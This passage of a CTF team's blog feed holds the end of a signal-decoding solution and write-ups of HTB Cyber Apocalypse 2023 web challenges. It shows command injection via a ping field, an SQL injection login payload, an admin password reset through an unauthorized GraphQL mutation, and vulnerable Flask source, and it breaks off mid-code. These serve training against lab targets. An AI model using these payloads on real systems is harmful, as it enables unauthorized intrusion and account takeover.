&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;strong>encode_flag&lt;/strong> function takes the flag string as input and encodes it character by character. For each character, it creates a &lt;strong>ZLCircuit&lt;/strong> object with a complex impedance of &lt;strong>1j * ord(flag[i])&lt;/strong> and an inductance of &lt;strong>1&lt;/strong> Henry. This circuit represents an inductor and a component with impedance Z in series.&lt;/p>
&lt;p>The &lt;strong>simulate_chained_circuits&lt;/strong> function from circuit.py is called with the created &lt;strong>ZLCircuit&lt;/strong>, input signal &lt;strong>vin&lt;/strong>, &lt;strong>duration&lt;/strong>, and &lt;strong>sample rate&lt;/strong> as arguments. This function calculates the state space representation of the circuits and uses it to simulate the response of the circuit to the input signal &lt;strong>vin&lt;/strong>. The real part of the simulated output signal is saved as a WAV file with the filename format &lt;strong>encoded{i}.wav&lt;/strong>.&lt;/p>
&lt;p>The output signal vout is assigned as the input signal &lt;strong>vin&lt;/strong> for the next iteration, as the circuits are chained, and the output of one circuit is used as the input for the next circuit. The encoding process results in a series of chained circuits with input signals that depend on the previous circuit&amp;rsquo;s output. Our goal is to reverse this encoding process and extract the hidden flag characters from the provided audio files.&lt;/p>
&lt;p>To decode the flag, we need to reverse the encoding process. Since the circuits are chained and the output of one circuit is used as the input for the next circuit, we can work our way backward from the last audio file to the first.&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Load the last audio file, &lt;strong>encoded14.wav&lt;/strong>, as the initial input signal.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>For each audio file, starting from the last and moving towards the first:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Create a range of possible ASCII values for the flag&amp;rsquo;s characters. Generally, the printable ASCII characters are between 32 and 126.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>For each possible ASCII value:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Create a &lt;strong>ZLCircuit&lt;/strong> object with a complex impedance of &lt;strong>1j * possible_ascii_value&lt;/strong> and an inductance of 1 Henry.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Call the &lt;strong>simulate_chained_circuits&lt;/strong> function with the created &lt;strong>ZLCircuit&lt;/strong>, the input signal from the audio file, duration, and sample rate as arguments.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Compare the simulated output signal with the input signal of the previous audio file (or a zero-filled array for the first character). Calculate the mean squared error (MSE) between the two signals.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>Find the character with the lowest MSE, which is the most likely decoded character for the current audio file.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Use the input signal of the current audio file as the input signal for the next iteration.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ol>
&lt;p>By iterating through the audio files in reverse order and finding the character with the lowest mean squared error between the simulated output signal and the input signal of the previous audio file, we can reconstruct the original flag. The decoded flag obtained is &amp;ldquo;HTBqp)le_dance|&amp;rdquo;.&lt;/p>
&lt;p>However, this decoded flag is not entirely accurate. With some reasonable guesses, we can correct the flag. It is likely that the &amp;ldquo;q&amp;rdquo; and &amp;ldquo;|&amp;rdquo; characters should be replaced by &amp;ldquo;{&amp;rdquo; and &amp;ldquo;}&amp;rdquo;, respectively. Also, the &amp;ldquo;)&amp;rdquo; can be replaced by &amp;ldquo;o&amp;rdquo; or &amp;ldquo;0&amp;rdquo;. After these adjustments and some attempts, we get the correct flag: &amp;ldquo;HTB{p0le_dance}&amp;rdquo;.&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{p0le_dance}&lt;/strong>&lt;/p>
&lt;h2 id="original-posts">Original Posts&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://fazect.github.io/htb2023/" target="_blank" rel="noopener">From FazeCT&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Cyber Apocalypse 2023: The Cursed Mission - Web Exploitation</title><link>https://bkisc-blog.netlify.app/blog/bkisc/htb2023-web/</link><pubDate>Mon, 27 Mar 2023 00:00:00 +0000</pubDate><guid>https://bkisc-blog.netlify.app/blog/bkisc/htb2023-web/</guid><description>&lt;p>
&lt;ul class="tags-list">
&lt;a href="https://bkisc-blog.netlify.app/tag/ctf/">ctf&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/writeup/">writeup&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/web-exploitation/">web-exploitation&lt;/a>
&lt;a href="https://bkisc-blog.netlify.app/tag/htb-2023/">htb-2023&lt;/a>
&lt;/ul>
&lt;details class="toc-inpage d-print-none " open>
&lt;summary class="font-weight-bold">Table of Contents&lt;/summary>
&lt;nav id="TableOfContents">
&lt;ul>
&lt;li>&lt;a href="#introduction">Introduction&lt;/a>&lt;/li>
&lt;li>&lt;a href="#trapped-source">Trapped Source&lt;/a>&lt;/li>
&lt;li>&lt;a href="#gunhead">Gunhead&lt;/a>&lt;/li>
&lt;li>&lt;a href="#drobots">Drobots&lt;/a>&lt;/li>
&lt;li>&lt;a href="#passman">Passman&lt;/a>&lt;/li>
&lt;li>&lt;a href="#orbital">Orbital&lt;/a>&lt;/li>
&lt;li>&lt;a href="#didactic-octo-paddles">Didactic Octo Paddles&lt;/a>&lt;/li>
&lt;li>&lt;a href="#spybug">SpyBug&lt;/a>&lt;/li>
&lt;li>&lt;a href="#traptrack">TrapTrack&lt;/a>&lt;/li>
&lt;li>&lt;a href="#original-posts">Original Posts&lt;/a>&lt;/li>
&lt;/ul>
&lt;/nav>
&lt;/details>
&lt;/p>
&lt;h2 id="introduction">Introduction&lt;/h2>
&lt;p>Welcome to our blog post about the web challenges in the HTB Cyber Apocalypse 2023 competition! For those who may not be familiar, HTB (Hack The Box) is a platform that provides a range of cybersecurity challenges for users to test and improve their skills. Cyber Apocalypse 2023 was a massive virtual event that took place in February 2023, where thousands of participants from all over the world competed in a range of challenges, including web, crypto, reverse engineering, and more.&lt;/p>
&lt;p>We were able to reach 29th place and solve 60/74 challenges. Particularly for web challenges, we got 8/9 (the one we didn&amp;rsquo;t solve was Unearthly Shop).&lt;/p>
&lt;img src="flexing.png" alt="" width="1000"/>
&lt;p>In this blog post, we will focus specifically on the web challenges in the Cyber Apocalypse 2023 competition. We will provide a detailed analysis of each challenge, along with our thought process and the techniques we used to solve them. Whether you&amp;rsquo;re an aspiring cybersecurity professional or a seasoned veteran, we hope you find our write-ups informative and helpful!&lt;/p>
&lt;h2 id="trapped-source">Trapped Source&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> Intergalactic Ministry of Spies tested Pandora&amp;rsquo;s movement and intelligence abilities. She found herself locked in a room with no apparent means of escape. Her task was to unlock the door and make her way out. Can you help her in opening the door?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Web Exploitation&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;img src="web1.png" alt="linux" width="1000"/>
&lt;p>We are given a website that looks like it requires us to input the right password on a locker to process.&lt;/p>
&lt;p>View page source to see if anything is given, and we can see the correct pin is &lt;strong>8291&lt;/strong>.&lt;/p>
&lt;img src="web2.png" alt="linux" width="1000"/>
&lt;p>Input the correct pin and we get the flag for the challenge.&lt;/p>
&lt;img src="web3.png" alt="linux" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{V13w_50urc3_c4n_b3_u53ful!!!}&lt;/strong>&lt;/p>
&lt;h2 id="gunhead">Gunhead&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong>: &lt;a href="https://github.com/hdthinh1012/htb-cyber-apocalypse-2023/blob/main/web_gunhead.zip" target="_blank" rel="noopener">Get it here&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description&lt;/strong>: During Pandora&amp;rsquo;s training, the Gunhead AI combat robot had been tampered with and was now malfunctioning, causing it to become uncontrollable. With the situation escalating rapidly, Pandora used her hacking skills to infiltrate the managing system of Gunhead and urgently needs to take it down.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Web Exploitation&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Click the URL of the generated challenge server, we are greeted with the home page of the challenge - a pseudo management system page&lt;/p>
&lt;img src="gunhead-1.png" alt="Home page" width="1000"/>
&lt;p>There are 3 buttons on the right side of the info panel, we interest in the third one, which gives us the shell UI.&lt;/p>
&lt;img src="gunhead-2.png" alt="Button3" width="1000"/>
&lt;p>Type /help as instructed, the shell command returns the list of possible commands. We saw the ping command, which is familiar one for command injection challenges.&lt;/p>
&lt;img src="gunhead-3.png" alt="/help command" width="1000"/>
&lt;p>Open the website in Burp Suite monitored browsers, open the shell and type in the command &lt;code>/ping 127.0.0.1&lt;/code>, and we see in Burp Suite HTTP history has a POST request to /api/ping&lt;/p>
&lt;img src="gunhead-4.png" alt="/ping command" width="1000"/>
&lt;img src="gunhead-5.png" alt="burp suite history" width="1000"/>
&lt;p>Turn to the challenge source code, at index.php, the /api/ping route is handled the method &lt;code>ping&lt;/code> of class &lt;code>ReconController&lt;/code>&lt;/p>
&lt;img src="gunhead-6.png" alt="index.php" width="1000"/>
&lt;p>&lt;code>ReconController.ping()&lt;/code> will create instance of &lt;code>ReconModel&lt;/code> and its &lt;code>getOutput()&lt;/code> method, which will pass the user-controlled ip parameters to the ping command but without any command injection filters, means this is an easy command injection chals&lt;/p>
&lt;img src="gunhead-7.png" alt="ReconController.php" width="1000"/>
&lt;img src="gunhead-8.png" alt="ReconModel.php" width="1000"/>
&lt;p>Escape the ping command with the command separator &lt;code>;&lt;/code>, cat the flag, which is stored at /flag.txt in docker container&lt;/p>
&lt;img src="gunhead-9.png" alt="Dockerfile" width="1000"/>
&lt;img src="gunhead-10.png" alt="Flag" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{4lw4y5_54n1t1z3_u53r_1nput!!!}&lt;/strong>&lt;/p>
&lt;h2 id="drobots">Drobots&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://drive.google.com/file/d/1NIgOlQWRawCdP_pQeTk0q2rQxFywnYI_/view?usp=sharing" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> Pandora&amp;rsquo;s latest mission as part of her reconnaissance training is to infiltrate the Drobots firm that was suspected of engaging in illegal activities. Can you help pandora with this task?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Web Exploitation&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We are given a website and a zip file containing the website&amp;rsquo;s source.&lt;/p>
&lt;img src="web4.png" alt="linux" width="1000"/>
&lt;p>After a quick analyze on the source, I get to understand that either we have to use &lt;a href="https://portswigger.net/web-security/sql-injection#:~:text=SQL%20injection%20%28SQLi%29%20is%20a,not%20normally%20able%20to%20retrieve." target="_blank" rel="noopener">SQL Injection&lt;/a> or use a specific parameter to get to the next page.&lt;/p>
&lt;p>Input &lt;strong>admin&lt;/strong> for the username and &lt;strong>&amp;quot; OR 1 = 1 &amp;ndash; -&lt;/strong> for the password, or add &lt;strong>/home&lt;/strong> to the URL will grant you access to the next page, which turns out to also contain the flag.&lt;/p>
&lt;img src="web5.png" alt="linux" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{p4r4m3t3r1z4t10n_1s_1mp0rt4nt!!!}&lt;/strong>&lt;/p>
&lt;h2 id="passman">Passman&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong> &lt;a href="https://github.com/hdthinh1012/htb-cyber-apocalypse-2023/blob/main/web_passman.zip" target="_blank" rel="noopener">Get it here&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description&lt;/strong>: Pandora discovered the presence of a mole within the ministry. To proceed with caution, she must obtain the master control password for the ministry, which is stored in a password manager. Can you hack into the password manager?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Web Exploitation&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>The challenge starts with a login screen.&lt;/p>
&lt;img src="passman-1.png" alt="Login screen" width="1000"/>
&lt;p>Looking at &lt;code>entrypoint.sh&lt;/code> in sources, it appears that an admin account is existed, but the password was random generated so we may have to find someway to get access to admin account later on to finish the challnege.&lt;/p>
&lt;img src="passman-2.png" alt="entrypoint.sh" width="1000"/>
&lt;p>First create normal account then login. After login success, we are greeted with the dashboard home&lt;/p>
&lt;img src="passman-3.png" alt="entrypoint.sh" width="1000"/>
&lt;img src="passman-4.png" alt="/dashboard" width="1000"/>
&lt;p>Click on the plus button, a form to store credential for online website appears. Fill and submit the form, a new item was created.&lt;/p>
&lt;img src="passman-5.png" alt="create form" width="1000"/>
&lt;img src="passman-6.png" alt="/dashboard again" width="1000"/>
&lt;p>Switch to Burp Suite HTTP History panels to look for intersting requests.&lt;/p>
&lt;p>It seems that the website uses single &lt;code>POST /graphql&lt;/code> endpoint with the JSON body contain &lt;code>query&lt;/code> field to dictate the server response.&lt;/p>
&lt;img src="passman-7.png" alt="/graphql mutation" width="1000"/>
&lt;img src="passman-8.png" alt="/getPhraseList" width="1000"/>
&lt;p>It&amp;rsquo;s time to get back to the source for more clues. Here the &lt;code>/graphql&lt;/code> endpoint will be handled by a &lt;code>GraphQlSchema&lt;/code> defined in &lt;code>helpers/GraphqlHelper.js&lt;/code>&lt;/p>
&lt;img src="passman-9.png" alt="router">
&lt;img src="passman-10.png" alt="GraphQLSchema" width="1000"/>
&lt;p>In the &lt;code>GraphQLObjectType&lt;/code> object &lt;code>mutationType&lt;/code>, there is an interesting field &lt;code>UpdatePassword&lt;/code>&lt;/p>
&lt;img src="passman-11.png" alt="UpdatePassword" width="1000"/>
&lt;p>The &lt;code>UpdatePassword&lt;/code> graphql handler receive &lt;code>username&lt;/code> and &lt;code>password&lt;/code>, it just checks whether the user is authenticated then just ouright runs the update password to any usernames it receives without checking whether the current user is the same as user that is gonna haved his/her password changes, some resource authorization problems here.&lt;/p>
&lt;p>Open BurpSuite, send the request &lt;code>POST /graphql&lt;/code> to repeater, edit the JSON body to use UpdatePassword graphql handler.&lt;/p>
&lt;img src="passman-12.png" alt="Burp Suite" width="1000"/>
&lt;p>The admin password is updated successfully. Now login as admin.&lt;/p>
&lt;img src="passman-13.png" alt="Admin login" width="1000"/>
&lt;p>Login successfully, retrieving flag.&lt;/p>
&lt;img src="passman-14.png" alt="Admin login" width="1000"/>
&lt;p>The flag contents said it was IDOR vulnerabilities, which is actually an incorrect authorization related problem.&lt;/p>
&lt;p>Flag is: &lt;strong>HTB{1d0r5_4r3_s1mpl3_4nd_1mp4ctful!!}&lt;/strong>&lt;/p>
&lt;h2 id="orbital">Orbital&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given file:&lt;/strong>: &lt;a href="https://github.com/HoangREALER/cyberApocalypse2023/blob/main/web_orbital.zip" target="_blank" rel="noopener">Get it here&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description&lt;/strong>: In order to decipher the alien communication that held the key to their location, she needed access to a decoder with advanced capabilities - a decoder that only The Orbital firm possessed. Can you get your hands on the decoder?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Web Exploitation&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>At first, we were given the login page which requires credentials. There&amp;rsquo;s nothing else you can do at this point than reading given code.&lt;/p>
&lt;p>&amp;lt;img src=&amp;ldquo;orbital1.png&amp;rdquo; alt=&amp;ldquo;Login page&amp;rdquo;/ width=&amp;ldquo;1000&amp;rdquo;/&amp;gt;&lt;/p>
&lt;p>Upon given the code, you can find out that there is 1 user &amp;ldquo;admin&amp;rdquo; which is initiated at the time the docker is created. We can also see that, the application only has SELECT privilege on table &lt;code>orbital.users&lt;/code> and &lt;code>orbital.communications&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">mysql -u root &lt;span class="s">&amp;lt;&amp;lt; EOF
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">CREATE DATABASE orbital;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">CREATE TABLE orbital.users (
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s"> id INTEGER PRIMARY KEY AUTO_INCREMENT,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s"> username varchar(255) NOT NULL UNIQUE,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s"> password varchar(255) NOT NULL
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">CREATE TABLE orbital.communication (
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s"> id INTEGER PRIMARY KEY AUTO_INCREMENT,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s"> source varchar(255) NOT NULL,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s"> destination varchar(255) NOT NULL,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s"> name varchar(255) NOT NULL,
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s"> downloadable varchar(255) NOT NULL
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">INSERT INTO orbital.users (username, password) VALUES (&amp;#39;admin&amp;#39;, &amp;#39;$(genPass)&amp;#39;);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">INSERT INTO orbital.communication (source, destination, name, downloadable) VALUES (&amp;#39;Titan&amp;#39;, &amp;#39;Arcturus&amp;#39;, &amp;#39;Ice World Calling Red Giant&amp;#39;, &amp;#39;communication.mp3&amp;#39;);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">INSERT INTO orbital.communication (source, destination, name, downloadable) VALUES (&amp;#39;Andromeda&amp;#39;, &amp;#39;Vega&amp;#39;, &amp;#39;Spiral Arm Salutations&amp;#39;, &amp;#39;communication.mp3&amp;#39;);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">INSERT INTO orbital.communication (source, destination, name, downloadable) VALUES (&amp;#39;Proxima Centauri&amp;#39;, &amp;#39;Trappist-1&amp;#39;, &amp;#39;Lone Star Linkup&amp;#39;, &amp;#39;communication.mp3&amp;#39;);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">INSERT INTO orbital.communication (source, destination, name, downloadable) VALUES (&amp;#39;TRAPPIST-1h&amp;#39;, &amp;#39;Kepler-438b&amp;#39;, &amp;#39;Small World Symposium&amp;#39;, &amp;#39;communication.mp3&amp;#39;);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">INSERT INTO orbital.communication (source, destination, name, downloadable) VALUES (&amp;#39;Winky&amp;#39;, &amp;#39;Boop&amp;#39;, &amp;#39;Jelly World Japes&amp;#39;, &amp;#39;communication.mp3&amp;#39;);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">CREATE USER &amp;#39;user&amp;#39;@&amp;#39;localhost&amp;#39; IDENTIFIED BY &amp;#39;M@k3l@R!d3s$&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">GRANT SELECT ON orbital.users TO &amp;#39;user&amp;#39;@&amp;#39;localhost&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">GRANT SELECT ON orbital.communication TO &amp;#39;user&amp;#39;@&amp;#39;localhost&amp;#39;;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">FLUSH PRIVILEGES;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s">EOF&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now let&amp;rsquo;s move on with the application. At first glance at source code, we can see it is vulnerable to Local File Inclusion attack at this endpoint &lt;code>blueprints/routes.py&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">flask&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">Blueprint&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">render_template&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">session&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">redirect&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">send_file&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">application.database&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">login&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">getCommunication&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">application.util&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">isAuthenticated&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">web&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Blueprint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;web&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="vm">__name__&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">api&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Blueprint&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;api&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="vm">__name__&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@web&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">signIn&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">render_template&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;login.html&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@web&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/logout&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">logout&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">session&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;auth&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">None&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">redirect&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@web&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/home&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@isAuthenticated&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">home&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">allCommunication&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">getCommunication&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">render_template&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;home.html&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">allCommunication&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">allCommunication&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@api&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">route&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;/login&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">methods&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;POST&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">apiLogin&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">is_json&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">response&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;Invalid JSON!&amp;#39;&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="mi">400&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_json&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">username&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;username&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
